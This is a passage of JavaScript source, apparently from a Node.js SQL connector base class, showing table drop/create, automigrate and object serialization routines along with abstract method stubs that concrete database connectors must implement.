var c = (res && res[0] && res[0].cnt) || 0;
// Some drivers return count as a string to contain bigint
// See https://github.com/brianc/node-postgres/pull/427
cb(err, Number(c));
});
};
/**
* Drop the table for the given model from the database
* @param {String} model The model name
* @param {Function} [cb] The callback function
*/
SQLConnector.prototype.dropTable = function(model, cb) {
this.execute('DROP TABLE IF EXISTS ' + this.tableEscaped(model), cb);
};
/**
* Create the table for the given model
* @param {String} model The model name
* @param {Function} [cb] The callback function
*/
SQLConnector.prototype.createTable = function(model, cb) {
var sql = 'CREATE TABLE ' + this.tableEscaped(model) +
' (\n ' + this.buildColumnDefinitions(model) + '\n)';
this.execute(sql, cb);
};
/**
* Recreate the tables for the given models
* @param {[String]|String} [models] A model name or an array of model names,
* if not present, apply to all models defined in the connector
* @param {Function} [cb] The callback function
*/
SQLConnector.prototype.automigrate = function(models, cb) {
var self = this;
if ((!cb) && ('function' === typeof models)) {
cb = models;
models = undefined;
}
// First argument is a model name
if ('string' === typeof models) {
models = [models];
}
models = models || Object.keys(self._models);
if (models.length === 0) {
return process.nextTick(cb);
}
var invalidModels = models.filter(function(m) {
return !(m in self._models);
});
if (invalidModels.length) {
return process.nextTick(function() {
cb(new Error('Cannot migrate models not attached to this datasource: ' +
invalidModels.join(' ')));
});
}
async.each(models, function(model, done) {
self.dropTable(model, function(err) {
if (err) {
// TODO(bajtos) should we abort here and call cb(err)?
// The original code in juggler ignored the error completely
console.error(err);
}
self.createTable(model, function(err, result) {
if (err) {
console.error(err);
}
done(err, result);
});
});
}, cb);
};
/**
* Serialize an object into JSON string or other primitive types so that it
* can be saved into a RDB column
* @param {Object} obj The object value
* @returns {*}
*/
SQLConnector.prototype.serializeObject = function(obj) {
var val;
if (obj && typeof obj.toJSON === 'function') {
obj = obj.toJSON();
}
if (typeof obj !== 'string') {
val = JSON.stringify(obj);
} else {
val = obj;
}
return val;
};
/*!
* @param obj
*/
SQLConnector.prototype.escapeObject = function(obj) {
var val = this.serializeObject(obj);
return this.escapeValue(val);
};
/**
* The following _abstract_ methods have to be implemented by connectors that
* extend from SQLConnector to reuse the base implementations of CRUD methods
* from SQLConnector
*/
/**
* Converts a model property value into the form required by the
* database column. The result should be one of following forms:
*
* - {sql: "point(?,?)", params:[10,20]}
* - {sql: "'John'", params: []}
* - "John"
*
* @param {Object} propertyDef Model property definition
* @param {*} value Model property value
* @returns {ParameterizedSQL|*} Database column value.
*
*/
SQLConnector.prototype.toColumnValue = function(propertyDef, value) {
throw new Error('toColumnValue() must be implemented by the connector');
};
/**
* Convert the data from database column to model property
* @param {object} propertyDef Model property definition
* @param {*) value Column value
* @returns {*} Model property value
*/
SQLConnector.prototype.fromColumnValue = function(propertyDef, value) {
throw new Error('fromColumnValue() must be implemented by the connector');
};
/**
* Escape the name for the underlying database
* @param {String} name The name
* @returns {String} An escaped name for SQL
*/
SQLConnector.prototype.escapeName = function(name) {
throw new Error('escapeName() must be implemented by the connector');
};
/**
* Escape the name for the underlying database
* @param {String} value The value to be escaped
* @returns {*} An escaped value for SQL
*/
SQLConnector.prototype.escapeValue = function(value) {
throw new Error('escapeValue() must be implemented by the connector');
};
/**
* Get the place holder in SQL for identifiers, such as ??
* @param {String} key Optional key, such as 1 or id
* @returns {String} The place holder
*/
SQLConnector.prototype.getPlaceholderForIdentifier = function(key) {
throw new Error('getPlaceholderForIdentifier() must be implemented by the connector');
};
/**
* Get the place holder in SQL for values, such as :1 or ?
* @param {String} key Optional key, such as 1 or id
* @returns {String} The place holder
*/
SQLConnector.prototype.getPlaceholderForValue = function(key) {
throw new Error('getPlaceholderForValue() must be implemented by the connector');
};
/**
* Build a new SQL statement with pagination support by wrapping the given sql
* @param {String} model The model name
* @param {ParameterizedSQL} stmt The sql statement
* @param {Object} filter The filter object from the query
*/
SQLConnector.prototype.applyPagination = function(model, stmt, filter) {
throw new Error('applyPagination() must be implemented by the connector');
};
/**
* Parse the result for SQL UPDATE/DELETE/INSERT for the number of rows
* affected
* @param {String} model Model name
* @param {Object} info Status object
* @returns {Number} Number of rows affected
*/
SQLConnector.prototype.getCountForAffectedRows = function(model, info) {
throw new Error('getCountForAffectedRows() must be implemented by the connector');
};
/**
* Parse the result for SQL INSERT for newly inserted id
* @param {String} model Model name
* @param {Object} info The status object from driver
* @returns {*} The inserted id value
*/
SQLConnector.prototype.getInsertedId = function(model, info) {
throw new Error('getInsertedId() must be implemented by the connector');
};
/**
* Execute a SQL statement with given parameters
* @param {String} sql The SQL statement
* @param {*[]} [params] An array of parameter values
* @param {Object} [options] Options object
* @param {Function} [callback] The callback function
*/
SQLConnector.prototype.executeSQL = function(sql, params, options, callback) {
throw new Error('executeSQL() must be implemented by the connector');
};
|